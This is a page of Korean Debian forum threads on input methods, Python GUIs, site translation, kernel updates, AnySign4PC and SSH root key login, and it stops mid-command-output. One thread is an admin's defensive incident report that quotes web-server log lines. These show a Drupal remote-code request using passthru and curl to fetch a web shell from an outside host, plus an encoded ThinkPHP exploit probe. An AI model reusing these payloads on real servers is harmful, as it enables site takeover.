일반적인 질문

한글입력 nabi

ggdd2 — Thu, 14 Sep 2023 04:17:46 +0000

한글입력 nabi

Forums

일반적인 질문

Buster(10)에서 Bookworm(12)으로 업그레이드한 후에 nabi가 정상적으로 작동하지 않습니다.

혹시 X서버에서 xim 한글입력 nabi로 쓰시는분 계시면 혹시 별문제 없이 쓰고 계신지 알고 싶습니다.

현재는 .xinitrc 파일에 XIM=nabi로 설정해 놓고 있고 터미널은 urxvt를 쓰고 있습니다.

Buster에서는 로그인 후 nabi사용에 문제가 없었는데, 지금은 터미널에서 nabi실행시킨 후(실행 터미널에서는 한영전환이 안됩니다) 다른 터미널을 열어야기지만 한영전환이 가능해서 불편합니다.

다시 buster로 돌아가는 방법도 있겠으나 되도록이면 업그레이드했으니 문제를 해결해보고 싶어 글을 남기게 되었습니다.

혹 bookworm에서 xim nabi로 사용하시면 도움좀 부탁드리겠습니다.

ggdd2 2023.09.14.(Thu) - 13:17

해결 방법을 모르겠습니다

문제의 해결 방법을 몰라서 말씀하신 환경을 구축하여, 한글 입력을 테스트해봐야 조치 방법에 근접할 수 있을 거 같습니다.

하지만 제가 타지에서 파견 근무(교육 이수) 중이라 작업용 개인 노트북을 챙겨오지 못 했습니다. 이 때문에 제가 직접 테스트하는 것이 어려운 상황입니다.

아마 한글 입력기로 nabi 대신에 ibus를 사용하면 한글 입력 문제가 해결되지 않을까 싶지만, 이는 근본적인 해결책은 아닌 것 같습니다.

원하시는 답을 드리지 못 해 죄송합니다.

ibus

저는 ibus 씁니다. nabi 쓸 까닭이 저에게는 없어서요. ibus가 기본. nabi는 별도 설치 필요.

파이썬 tkinter및 gui모듈 사용시 타이틀의 글자와 아이콘이 나오질 않습니다.

cmhwa73 — Thu, 31 Aug 2023 07:18:34 +0000

파이썬 tkinter및 gui모듈 사용시 타이틀의 글자와 아이콘이 나오질 않습니다.

Forums

일반적인 질문

크롬북으로 파이썬 수업을 하고 있습니다.

데비안11에 파이썬3.9로 하고 있는데, tkinter,pyqt5,pygame등의 모듈실행시 윈도우의 타이틀바에서 아이콘과 제목이 나타나지 않습니다.

오른쪽의 윈도우크기조절아이콘3개는 잘 나타나고 작동합니다.

해결방법을 알려주세요

cmhwa73 2023.08.31.(Thu) - 16:18

해결 방법을 모르겠습니다

Debian 12, Python 3.11.2 환경에서 tkinter를 사용해서 타이틀 바를 테스트 해보니, 저의 경우에는 타이틀 제목은 출력됩니다. 하지만 아래 소스에서 iconphoto 함수와 tk.call 함수를 사용해도 타이틀 바에 이미지가 출력되지가 않네요.

import tkinter

window = tkinter.Tk()
window.title("테스트")

window.iconphoto(False, tkinter.PhotoImage(file="/home/westporch/사진/python_icon.png"))
#window.tk.call('wm', 'iconphoto', window._w, tkinter.PhotoImage(file="/home/westporch/사진/python_icon.png"))

window.mainloop()

데비안 업그레이드와 파이썬 업그레이드가 불가합니다.

학교 크롬북을 학생들이 사용하고 있어서, 업그레이드가 어렵습니다.

그럼, 버그로 알고, 수업을 진행하겠습니다.

LMDE4 vs 데비안10 + Cinnamon

시티에이스 — Sun, 17 Jan 2021 07:48:08 +0000

LMDE4 vs 데비안10 + Cinnamon

Forums

일반적인 질문

리눅스 민트 데비안 에디션4 와

데비안10 + Cinnamon

둘중에 어떤게 더 가벼울까요

그리고 데비안10에 리눅스 민트 내에 있는 앱스토어(?) 이름이 갑자기 생각이 안나네요.. 암튼 그거를 설치 할수 있는지도 궁금합니다.

그리고 LFS 로 리눅스를 설치하거나 아치 리눅스 같은 다른배포판으로 리눅스를 설치했을때

데비안의 패키지 관리자 dpkg? 나 시냅틱 관리자? 같은것들을 설치 해서 사용할수 있는지도 궁금합니다.

언젠가는 LFS 를 이용해서 제 입맛데로 리눅스를 사용해보고 싶습니다.

시티에이스 2021.01.17.(Sun) - 16:48

소프트웨어 매니저(mintinstall)

데비안10에 리눅스 민트 내에 있는 앱스토어(?) 이름이 갑자기 생각이 안나네요.. 암튼 그거를 설치 할수 있는지도 궁금합니다.

리눅스 민트에서 사용하는 소프트웨어 매니저인 'mintinstall' 패키지를 말씀하시는 거 같네요.

데비안10 환경에서 mintinstall 패키지를 설치하는 게 쉽지 않네요. mintinstall 패키지를 설치하려고 하니, 의존성 에러가 발생했습니다. 의존성 오류가 발생하는 패키지들을 모두 설치했는데도 mintinstall 설치 시 의존성 에러가 발생합니다.

데비안10에서는 시스템에 기본적으로 포함된 '시냅틱 패키지 관리자'를 사용하는 것이 더 효율적일 것 같습니다.

고맙습니다.

어색한 번역.

세벌 — Sat, 12 Dec 2020 21:52:17 +0000

어색한 번역.

Forums

일반적인 질문

2020.12.12.(토) - 23:14 에 마원 에 의해 제출됨

드루팔 어디선가 한국어 번역이 그렇게 되어있나 봅니다.

...에 의해 제출됨 을 ...님이 씀. 으로 하면 어떨까요? 관리자 님 시간 나실 때에.

세벌 2020.12.13.(Sun) - 06:52

'~ 님이 씀.'으로 수정했습니다.

안녕하세요.

'~에 의해 제출됨'을 '~ 님이 씀.'으로 수정했습니다. 테스트 서버에는 '~에 의해 제출됨'을 '이(가) 작성함.'으로 수정했었는데, 제가 너무 뜸을 들였나 봅니다.

'~에 의해 제출됨'으로 보였던 것은 드루팔의 한국어 번역이 그렇게 되었기 때문입니다.

아울러 외래어 표기법에 맞게 아래 번역도 수정했습니다.

'컨텐츠'를 '콘텐츠'(content)로 수정했습니다. (264개)
'데스크탑'을 '데스크톱'(desktop)으로 수정했습니다. (1개)
'캐쉬'를 '캐시'(cache)로 수정했습니다. (3개)
'버젼'을 '버전'(version)으로 수정했습니다. (7개)
'쓰레드'를 '스레드'(thread)로 수정했습니다. (1개)
'썸네일'을 '섬네일'(thumbnail)로 수정했습니다. (3개)
'디렉토리'를 '디렉터리'(directory)로 수정했습니다. (71개)

그리고 포럼 및 게시물 목록에서 보이는, '마지막 포스트'와 '마지막 댓글'의 '시간 표기 형식'에 일부 번역을 추가, 수정했습니다.

추가로 아래 번역도 수정했습니다.

'주석'을 '댓글'(comment)로 수정했습니다. (3개)
'연락처'를 '관리자에게 이메일 보내기'(Contact)로 수정했습니다. (1개)
'사용안함'을 '사용 안 함'(Disable)으로 수정했습니다. (1개)
'아니오'를 '아니요'(No)로 수정했습니다. (5개)

나는 로봇이 아닙니다

세벌 — Fri, 11 Dec 2020 21:36:03 +0000

나는 로봇이 아닙니다

Forums

일반적인 질문

회원 가입 잘 하고, 제 아이디와 비번 제대로 입력했는데 로봇인지 물어보네요. 로그인할 때마다 그러네요.

세벌 2020.12.12.(Sat) - 06:36

로그인 페이지도 리캡차가 적용된 상태입니다

현재, 회원 가입 페이지뿐만 아니라 로그인 페이지에도 리캡차(reCAPTCHA)가 적용된 상태입니다. 로그인 페이지에 리캡차를 적용한 지는 꽤 오래되었습니다.

로그인 페이지에도 리캡차를 적용한 이유는, 오래전에 로그인 페이지에서 아이디와 비밀번호만으로 '무차별 대입 공격'이 이뤄졌기 때문입니다. (이는 웹 서버의 로그를 통해 확인했습니다.)따라서 이러한 공격을 방지하고자 로그인 페이지에도 리캡차를 적용한 것입니다.

앞으로는 사소한 작업이라도 공지하도록 하겠습니다. '로그인 페이지에 리캡차를 적용한 것은 간단한 작업이다.'라고 판단해서 별도로 공지하지 않았고, 제 작업 기록 문서에도 기록하지 않았었습니다.

보안성을 고려하면 어느 정도의 불편함이 따름을 헤아려 주시면 고맙겠습니다.

로그인 페이지에서 리캡차 삭제

로그인 페이지에서 리캡차를 삭제했습니다. 아무래도 로그인 페이지에 리캡차가 있으면, 글 쓰려던 사람까지 막을 거 같습니다.

당분간 웹 서버의 로그를 모니터링해서 로그인 페이지에서 무차별 대입 공격이 또 발생하는지 살펴보려고 합니다. 만약 이런 공격이 또다시 발생한다면, 어떻게 대처해야 할지 좀 더 고민해 봐야겠습니다.

아마 로그인 페이지도 회원 가입 페이지처럼 국내 아이피만 접근을 허용하고, 해외 아이피는 모두 차단하면 문제가 해결될 것 같습니다. 하지만 국내 아이피로도 언제든지 공격이 발생할 수 있어서, 이 방법이 근본적인 해결책이 되지는 않을 거 같습니다.

고맙습니다. 로그인 편하게 된 것을 "알리는 말씀…

고맙습니다. 로그인 편하게 된 것을 "알리는 말씀"에 넣는 건 어떨까요?

'알리는 말씀'에 추가했습니다

로그인 페이지에서 아이디와 비밀번호만으로 로그인이 가능함을, '알리는 말씀'에 공지했습니다. 아래의 링크를 참고해 주십시오.

로그인 페이지에서 리캡차 삭제(2020.12.12.)

데비안 컨설턴트 하실 분?

세벌 — Thu, 05 Mar 2020 02:29:18 +0000

데비안 컨설턴트 하실 분?

Forums

일반적인 질문

데비안 컨설턴트 하실 분 또는 회사 있으면 알려주세요.

https://www.debian.org/consultants/#KR 에 넣어 드립니다.

세벌 2020.03.05.(Thu) - 11:29

한국 데비안 컨설턴트 숨어 있을 지도

데비안 컨설턴트 업무를 하는데 드러내지 않는 건지? 그런 업체가 하나도 없는 건지 잘 모르겠네요.

데비안은 커널 업그레이드가 필요없나요?

Rani — Mon, 23 Dec 2019 10:14:23 +0000

데비안은 커널 업그레이드가 필요없나요?

Forums

일반적인 질문

우분투는 시도 때도 없이 커널 업그레이드를 해싸서 grub.cfg 다시 입맛대로 편집하느라 귀찮았는데

데비안은 커널 업그레이드가 자동적으로 지원되지 않는군요.

10.2 10.3 10.4 이럴 때만 커널이 업그레이드 되나요?

아니면 데비안은 커널 업그레이드가 필요없나요?

보니까 kernel.org에서 직접 다운받아서 빌드해야 되나 보던데...

일반 사용자는 커널 업그레이드가 보안상 필요 없는지

아니면 그냥 가끔 apt upgrade만 하고 신경 꺼도 되는지

수동으로 빌드를 (이걸 어떻게 하는지는 둘째 치고) 해야 되는지 궁금합니다.

___

그리고 리눅스 한글입력기는 모아치기 안 되는건가요. 어차피 순차방식 타이핑 타입이라서 모아치기 안 하기는 하지만 오타 교정이 가끔 쏠쏠하던데...

Rani 2019.12.23.(Mon) - 19:14

There's no correct version…

There's no correct version. Debian packagers decide to ship a kernel, and you are free to change it to whatever you like. The correct version is whatever you want it to be.
Unless you changed it, there's no reason it should be different than what packagers shipped. Either you change your kernel or an update gets issued through the package manager. Debian's package manager is apt.

------------------------------------------------------------------------------------------------------------------------------------------------

Do I have to upgrade it manually? Is This?

https://linuxhint.com/how-to-upgrade-kernel-of-debian-9-stretch-from-source/

------------------------------------------------------------------------------------------------------------------------------------------------

That is not true. If you install the package "linux-image-amd64", well, assuming that this is your architecture, then keeping this package updated also means to always have the latest available kernel in Debian 10 installed.

Then, to automatically keep the system up to date you could install and configure apt-dater.

------------------------------------------------------------------------------------------------------------------------------------------------

데비안 커뮤니티에 물어보니까 이렇게 대답을 받았는데 이해를 못하겠어요. 에궁.

멀웨어가 있습니다 라고 나오네요?

세벌 — Thu, 14 Nov 2019 03:26:37 +0000

멀웨어가 있습니다 라고 나오네요?

Forums

일반적인 질문

debianusers.or.kr 들어갈 때

멀웨어가 있다고 경고가 뜨네요. 화면 캡처 붙임.

어떨 때는 안 나기도 하고...

사이트 문제인지 다른 문제인지 모르겠습니다.

세벌 2019.11.14.(Thu) - 12:26

악성코드를 제거하였습니다.

안녕하십니까?

드루팔에서 사용되는 자바스크립트 파일(2개)의, 맨 마지막 줄에 악성코드가 삽입되어 있었습니다. 이 악성코드를 삭제하였으며, 드루팔(코어)과 드루팔의 모듈(8개)들을 모두 최신 버전으로 업데이트했습니다. 그러므로 안심하고 데비안유저스(debianusers.or.kr)에 접속하셔도 됩니다.

저도 크롬 브라우저(PC, 모바일)로 데비안유저스에 접속했는데, 저는 왜 '멀웨어 경고'가 한 번도 발생하지 않았는지 모르겠습니다. 세벌 님 덕분에 악성코드를 제거할 수 있었습니다.

정말 고맙습니다.

자세한 내용은 아래에 기록하였습니다.

■ 멀웨어 경고가 출력된 이유
드루팔과 관련된 자바스크립트 파일(2개)의 맨 마지막 줄에 악성코드가 삽입되어 있었습니다. 이로 인해 크롬 브라우저로 데비안유저스에 접속할 때 '멀웨어 경고'가 발생하였습니다.

■ 현재 데비안유저스는 안전한가?
악성코드는 삭제되었으니 안심하고 데비안유저스에 접속하셔도 됩니다.

■ 악성코드 공격을 당한 이유
▲디렉터리 권한 설정 문제 ▲드루팔 업데이트 미적용 때문에, 악성코드 공격을 당한 것으로 보입니다.

시스템의 로그를 살펴보았지만, 공격을 당한 '정확한 이유'는 모르겠습니다. 다만 공격자가 리눅스 서버의 계정을 탈취하지 않고, 드루팔의 취약점만을 이용해서 자바스크립트 파일에 악성코드를 삽입한 것으로 보입니다. 이에 대한 근거는 다음과 같습니다.

첫째, 드루팔의 파일 디렉터리(sites/default/files), 권한을 777로 설정했기 때문에 보안에 취약했습니다.

악성코드 문제가 있다는 것을 인지한 후에, 서버에 접속한 후 find 명령어로 최근에 변경된 파일을 검색해보니, sites/default/files에 있는 파일들만 변경되었음을 확인할 수 있었습니다.

파일 디렉터리의 취약점을 노린 공격 시도가 다음과 같이, 웹 서버(nginx)의 로그(access.log)에 기록되었습니다.

128.131.132.143 - - [15/Nov/2019:02:38:17 +0900] "POST
//?q=user/password&name[%23post_render][]=passthru&name[%23type]=mar
kup&name[%23markup]=mv+sites/default/files/.htaccess+htaccessx;curl+
-o+sites/default/files/renata.phtml+'http://jfgsolutions.ca/renata.p
html' HTTP/1.1" 302 1468 "-" "libwww-perl/6.15"

물론 이뿐만 아니라, 다음과 같이 의심스러운 공격도 웹서버의 로그에 기록되었습니다.

27.254.158.129 - - [12/Nov/2019:16:09:04 +0900] "GET /index.php?s=%2
f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%
65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%6
6%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%
6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 571 "-" "Mozilla/5.0 (Windo
ws NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/64.0.3282.140 Safari/537.36"

둘째, 드루팔을 최신 버전으로 업데이트하지 않았기 때문에 보안에 취약했습니다.

■ 후속 조치
첫째, 드루팔의 파일 디렉터리(sites/default/files), 권한을 755로 변경하였습니다.

둘째, 드루팔을 최신 버전으로 업데이트하였습니다.

기존 드루팔의 버전(v8.2.7)을 최신 버전(v8.7.10)으로 업데이트했습니다. 또한 드루팔에서 사용하는 모듈들을 모두 최신 버전으로 업데이트하였습니다.

■ 반성
제가 드루팔의 업데이트에 소홀했습니다. 예전에 드루팔을 업데이트하다가 실패한 경험이 있어서, 드루팔을 업데이트하다가 서버를 망가뜨릴까 봐 두려웠습니다. 그래서 드루팔을 최신 버전으로 업데이트하지 않았습니다. 하지만 이번에는 피하지 않고, 드루팔을 성공적으로 업데이트했습니다.

제 노트북에 데비안유저스와 동일한 서버 환경을 구축하여, 드루팔 및 드루팔의 모듈을 최신 버전으로 업데이트하는 것을 테스트했습니다. 드루팔을 최신 버전으로 성공적으로 업데이트하는 것을 3번 해보고, 작업 계획서를 작성하여 11분 만에 드루팔을 최신 버전으로 업데이트하였습니다. 드루팔 모듈 업데이트는 1번 성공적으로 해 본 후에, 작업 계획서를 작성하여 7개의 모듈을 15분 만에 성공적으로 업데이트하였습니다.(드루팔 모듈은 총 8개를 사용하지만, 이 8개 중 1개는 드루팔 업데이트 시에 자동으로 업데이트됨.)

앞으로는 이 경험을 바탕으로, 드루팔 업데이트에 좀 더 신경쓰도록 하겠습니다.

■ 맺음말
데비안유저스에 '멀웨어 경고'가 있다는 글을 금요일(11월 15일 22시 40분쯤)에 읽고, 눈앞이 아찔했습니다. '오늘 잠을 못 자는 건가?', '내가 이걸 어떻게 해결하지?', '크로스사이트 스크립트 공격인가?', '내일 도서관은 못 가는 건가?' 여러 가지 생각이 들었습니다. 도무지 해결 방법이 보이지 않아서, 일단 토요일(11월 16일 01시쯤)에 잠을 자고 새벽(05시 30분쯤)에 일어나서, 온종일 컴퓨터 앞에 앉아 작업했습니다. '포기하고 싶다.', '울고 싶다.', '악성코드를 삽입한 사람이 진짜 얄밉다.' 수없이 많은 생각을 했습니다.

하지만 해결할 수 없을 것 같던 문제를 해결하고, 드루팔도 최신 버전으로 업데이트해서 뿌듯합니다. 한편으로는 제가 지금은 공시생이라, 데비안유저스에 신경을 많이 쓰지 못해서, 마음이 무겁기도 합니다. 제가 부족한 점이 많아서, 종종 서버에 문제가 발생할 때도 있지만 너그럽게 봐주시면 고맙겠습니다.

고맙습니다.

File attachments

debianMalwareWarn.pdf

데비안에서 주민등록등본?

세벌 — Mon, 30 Sep 2019 19:51:46 +0000

데비안에서 주민등록등본?

Forums

일반적인 질문

리눅스에서도 주 민등록등본 받을 수 있다기에 데비안에서 해 봤습니다.

저는 안 되네요. 여러분은 어떤가요?

관련 글 : https://kldp.org/node/162198

세벌 2019.10.01.(Tue) - 04:51

AnySign4PC가 계속 '미설치'라고 뜹니다.

이번주 월요일은 도서관 휴관일이라 잠시 쉬면서, 민원24에서 주민등록등본의 발급(리눅스 환경)을 시도해 봤습니다. 하지만 주민등록등본 발급에 실패했습니다. AnySign4PC가 계속 '미설치'라고 뜹니다.

제가 작업한 내용 및 알게된 사실을 기록해 봅니다.

1. 리눅스용 AnySign4pc가 지원하는 웹 브라우저
리눅스용 AnySign4pc는 파이어폭스에서만 작동하도록 구현되었습니다. 이는 var/lib/dpkg/info/anysign4pc.postinst(셸 스크립트) 파일에서 확인할 수 있습니다.

참고로 제가 사용한 파이어폭스의, 버전은 v60.9.0입니다.
$ firefox -v
Mozilla Firefox 60.9.0

2. 민원24에서 제공하는 AnySign4PC(v1.1.0.7) 설치하기
※ 현재 민원24에서 제공하는 AnySign4PC의 버전이 너무 낮습니다. v1.1.0.9 이후의 AnySign4PC를 사용하시는 게 좋을 것 같습니다. 왜냐하면 v1.1.0.7은 최신 데비안이 지원하지 않는 chkconfig를 사용하기 때문입니다. v1.1.0.9 이후로는 chkconfig뿐만 아니라 systemd도 함께 지원합니다.

2-1. chkconfig 설치 및 실행하기
굳이 AnySign4PC(v1.1.0.7)를 설치하려면, /etc/apt/sources.list를 아래처럼 수정하신 후에 이 변경 사항을 저장합니다. (chkconfig 패키지는 jessie 저장소에 존재합니다.)

# Jessie
deb http://ftp.kr.debian.org/debian jessie main
deb-src http://ftp.kr.debian.org/debian jessie main

이후 아래 명령을 실행합니다.
$ sudo apt update
$ sudo apt install chkconfig

chkconfig가 제대로 설치되었으면, /etc/apt/sources.list를 원래 상태로 되돌려 주십시오.

2-2. AnySign4PC(v1.1.0.7)를 설치
저는 64비트 시스템을 사용해서 anysign4pc_linux_x86_64.deb를 설치했습니다.
$ sudo dpkg -i anysign4pc_linux_x86_64.deb

2-3. AnySign.ex를 실행
심볼릭 링크를 설정하지 않고 AnySign.ex를 실행하면, 아래처럼 'libNativeMng.so: cannot open shared object file: No such file or directory' 메시지 발생합니다.

$ sudo /opt/anysign4pc/amd64/AnySign.ex
/opt/anysign4pc/amd64/AnySign.ex: error while loading shared libraries: libNativeMng.so: cannot open shared object file: No such file or directory

아래 명령으로 심볼릭 링크를 설정합니다. (참고: http://no1linux.org/hottips/28920)
$ sudo ln -s /opt/anysign4pc/amd64/libNativeMng.so /usr/lib/libNativeMng.so

3. AnySign4PC(v1.1.2.0)으로 설치 시도
AnySign4PC의 가장 높은 버전을 찾아보니, 그나마 v1.1.2.0이 최신 버전인 것 같아서 이 버전으로 설치를 시도했습니다. 하지만 결과는 실패입니다.

일반적으로 anysign4pc_linux*.deb를 설치하면, /var/lib/dpkg/info/anysign4pc.postinst(셸 스크립트)가 실행됩니다. anysign4pc.postinst가 실행되면서, 인증서를 생성하고 이 인증서를 파이어폭스와 연결하는 것 같습니다. 그래서 웹 브라우저는 파이어폭스만 사용이 가능합니다. 물론 anysign4pc.postinst 파일을 수정하면, 다른 웹 브라우저에서도 AnySign4PC를 사용할 수 있을 것 같기도 합니다.

이 스크립트는 우분투 또는 페도라의 버전을 확인해서 작동(if 문)하기 때문에, 데비안에서는 이 스크립트가 제대로 작동하지 않습니다. 그래서 데비안 환경에 맞게 셸 스크립트를 수정해서, AnySign4PC를 설치해봤지만, anysign4pc.service가 동작하지 않습니다.

아래처럼 인증서는 생성되었습니다.
westporch@nt900x4c-a58:/opt/anysign4pc/amd64$ ./certutil -d sql:$HOME/.pki/nssdb -L

Certificate Nickname Trust Attributes
SSL,S/MIME,JAR/XPI

Hancom Secure Root CA ,,

하지만 계속 'certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.' 메시지가 출력됩니다. 이 문제만 해결하면 AnySign4PC가 제대로 작동할 것 같지만, 현재로서는 해결 방법을 모르겠습니다.

참고로 anysign4pc.service의 상태는 다음과 같습니다.

$ sudo systemctl status anysign4pc.service
● anysign4pc.service - AnySign4PC

Loaded: loaded (/lib/systemd/system/anysign4pc.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Mon 2019-10-07 21:25:36 KST; 16s ago
Process: 18057 ExecStart=/etc/init.d/AnySign.linux.SysV.x64 start (code=exited, status=203/EXEC)
Main PID: 18057 (code=exited, status=203/EXEC)

10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Service RestartSec=100ms expired, scheduling restart.
10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Scheduled restart job, restart counter is at 5.
10월 07 21:25:36 nt900x4c-a58 systemd[1]: Stopped AnySign4PC.
10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Start request repeated too quickly.
10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Failed with result 'exit-code'.
10월 07 21:25:36 nt900x4c-a58 systemd[1]: Failed to start AnySign4PC.

1588-2188-5 전화했더니 해결 못하고,…

1588-2188-5 전화했더니 해결 못하고, 한컴위드 전화번호 1644-0128-1 알려주네요. 전화해서 아래와 같은 답 메일을 받았습니다. 데비안에서 시도해봐야겠네요.

안녕하세요. 한컴위드 고객센터 이청열 입니다.

AnySign4PC 1.1.2.6 버전 리눅스용 다운로드 URL 보내드리오니 설치 진행 부탁드립니다.

http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_i386.deb

http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_x86_64.deb

역시 안 되네요.

이건 데비안 커뮤니티가 아니라 정부차원에서 해결해야 할 문제 같네요.

여전히 anysign4pc.service가 실행이 안 됩니다.

AnySign4PC(v1.1.2.6)를 설치해봤지만, anysign4pc.service가 실행이 안 됩니다. 따라서 민원24에서 'AnySign4PC 설치 정보' 페이지에서 설치현황이 '미설치'로 나타납니다.

/var/lib/dpkg/info/anysign4pc.postinst에서 우분투 · 페도라와 관련된 내용을 제거하고, 데비안에서 동작하도록 anysign4pc.postinst를 수정해봤습니다. 하지만 여전히 anysign4pc.service가 실행이 안 됩니다.

그래서 AnySign4PC(v1.1.2.0)와 AnySign4PC(v1.1.2.6)의 anysign4pc.postinst에 차이점이 있는지 확인해봤지만, anysign4pc.postinst에 변경된 점은 전혀 없었습니다.

■ AnySign4PC(v1.1.2.6) 설치

westporch@nt900x4c-a58:~/Downloads$ sudo dpkg -i anysign4pc_linux_x86_64.deb
Selecting previously unselected package anysign4pc.
(데이터베이스 읽는중 ...현재 144316개의 파일과 디렉터리가 설치되어 있습니다.)
Preparing to unpack anysign4pc_linux_x86_64.deb ...
Unpacking anysign4pc (1.1.2.6) ...
anysign4pc (1.1.2.6) 설정하는 중입니다 ...
/var/lib/dpkg/info/anysign4pc.postinst: 26: [: -gt: unexpected operator
/var/lib/dpkg/info/anysign4pc.postinst: 75: [: -gt: unexpected operator
/etc/init.d/AnySign.linux.x64: unknown service
certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.
certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.

■ AnySign4PC(v1.1.2.6)의 /var/lib/dpkg/info/anysign4pc.postinst의 일부

17 if [ "$NP_PLATFORM" = "UBUNTU" ]
18 then
19 if [ $UBUNTU_VER -gt 15 ]
20 then
21 INITD_NAME=AnySign.linux.SysV.x64
22 else
23 INITD_NAME=AnySign.linux.x64
24 fi
25 else
26 if [ $FEDORA_VER -gt 23 ]
27 then
28 INITD_NAME=AnySign.linux.SysV.x64
29 else
30 INITD_NAME=AnySign.linux.x64
31 fi
32 fi

(.. 생략 ..)

63 if [ "$NP_PLATFORM" = "UBUNTU" ]
64 then
65 if [ $UBUNTU_VER -gt 15 ]
66 then
67 cp $SYSD_PATH /lib/systemd/system/anysign4pc.service
68 systemctl enable anysign4pc.service
69 else
70 ln -s /etc/init.d/$INITD_NAME /etc/rc2.d/S900AnySign4PC
71 ln -s /etc/init.d/$INITD_NAME /etc/rc3.d/S900AnySign4PC
72 ln -s /etc/init.d/$INITD_NAME /etc/rc5.d/S900AnySign4PC
73 fi
74 else
75 if [ $FEDORA_VER -gt 23 ]
76 then
77 cronCnt=`crontab -l | grep $INITD_NAME | grep -v grep | wc -l`
78 if [ $cronCnt -eq 0 ]
79 then
80 if [ -f ./cronAny.registry ]
81 then
82 rm -f ./cronAny.registry
83 fi
84
85 crontab -l >> ./cronAny.registry
86 echo "* * * * * /etc/init.d/$INITD_NAME start" >> ./cronAny.registry
87
88 crontab ./cronAny.registry
89 rm -f ./cronAny.registry
90 fi
91 else
92 chkconfig --add /etc/init.d/$INITD_NAME
93 fi
94 fi

■ anysign4pc.service의 상태 확인

westporch@nt900x4c-a58:~$ sudo systemctl status anysign4pc.service
● anysign4pc.service - AnySign4PC
Loaded: loaded (/lib/systemd/system/anysign4pc.service; enabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Mon 2019-10-21 22:13:24 KST; 1h 17min ago
Process: 946 ExecStart=/etc/init.d/AnySign.linux.SysV.x64 start (code=exited, status=203/EXEC)
Main PID: 946 (code=exited, status=203/EXEC)

10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Service RestartSec=100ms expired, scheduling restart.
10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Scheduled restart job, restart counter is at 5.
10월 21 22:13:24 nt900x4c-a58 systemd[1]: Stopped AnySign4PC.
10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Start request repeated too quickly.
10월 21 22:13:24 nt900x4c-a58 systemd[1]: anysign4pc.service: Failed with result 'exit-code'.
10월 21 22:13:24 nt900x4c-a58 systemd[1]: Failed to start AnySign4PC.

■ anysign4pc의 버전 확인

westporch@nt900x4c-a58:/opt/anysign4pc/amd64$ ./AnySign.ex -v
1.1.2.6

auto login

khju — Thu, 27 Sep 2018 09:04:40 +0000

auto login

Forums

일반적인 질문

초기에 부팅 시 터미널에 로그인이 가능하도록 되어져 있습니다.

root/root 또는 debian/temppwd 를 입력하여 로그인을 하고 있는데 이부분에서 로그인을 하지 않고 바로 root권한으로 자동 로그인이 되는지 궁금합니다.

khju 2018.09.27.(Thu) - 18:04

보안상 권장 안 합니다만...

https://superuser.com/questions/969923/automatic-root-login-in-debian-8…

참고해 보시면 어떨까 합니다.

구글에서 Debian auto login 찾아보면 도움되는 정보가 있을 겁니다.

ssh 키 인증(공개키 암호 시스템 이용)을 사용하면 가능합니다.

지식에 기반한 인증(아이디, 비밀번호)이 아니더라도 공개키 암호 시스템에서 사용하는 키쌍(공개키, 개인키)을 통해 인증을 할 수도 있습니다.
(참고로 공개키는 외부에 공개되어도 되지만, 개인키는 반드시 자신만 알고 있어야 합니다. 개인키가 절대로 외부에 알려져서는 안됩니다)
예를 들어 전자 서명은 공개키 암호 시스템(RSA)의 원리를 이용하여 서명자 인증 및 부인 방지 등의 기능을 제공합니다.

ssh에서도 공개키 암호 시스템을 사용하기 때문에, RSA-2048(ssh-keygen 명령으로 키쌍 생성시 기본값으로 설정됨) 암호 시스템을 사용하여 생성한 키쌍을 통해 인증을 할 수 있습니다.
따라서 아이디와 비밀번호를 입력하지 않더라도, 자동으로(키 인증 만으로) 루트 계정으로 접속할 수 있습니다.
물론 ssh의 설정 파일(/etc/ssh/sshd_config)에서 root로 접속하는 것을 허용해야 하며 포트를 개방해야 합니다.

하지만, 편리한 만큼 위험도 따릅니다.
공개키 암호 시스템에서 사용하는 RSA 알고리즘이 소인수분해의 어려움을 이용했기 때문에 개인키를 절대로 알아낼 수 없다고 할지라도, 루트 계정으로 곧장 접속을 허용하는 것은 위험합니다.

아마 내부망에 있는 테스트 서버나 개발 서버 등을 편하게 사용하고자, 루트 계정으로 자동 접속을 하시려는게 아닐까 싶네요.

다음은 ssh 키 인증을 설정하는 방법입니다.

1. 서버 정보
1.1 클라이언트

호스트네임: test-vm-01
IP: 192.168.1.99
계정: westporch

1.2. 서버

호스트네임: test-vm-02
IP: 192.168.1.100
계정: root

2. 시나리오
클라이언트(test-vm-01)의 사용자 westporch가 ssh 키 인증을 설정한 후, 서버(test-vm-02)의 루트 계정으로 자동 접속합니다.

3. ssh 키 인증 설정 과정 및 자동 접속 테스트
3.1. 클라이언트에서 키 쌍(공개키, 개인키)을 생성
ssh-keygen 명령으로 키 쌍(공개키, 개인키)을 생성합니다.

-----------------------------------------
westporch@test-vm-01:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/westporch/.ssh/id_rsa):
Created directory '/home/westporch/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/westporch/.ssh/id_rsa.
Your public key has been saved in /home/westporch/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:BTZ7AKgDL8SrUlhbw0G2jzTGbKmd136Qr+zg7LwaS0w westporch@test-vm-01
The key's randomart image is:
+---[RSA 2048]----+
|. o+o..= |
|.o.+=o . = |
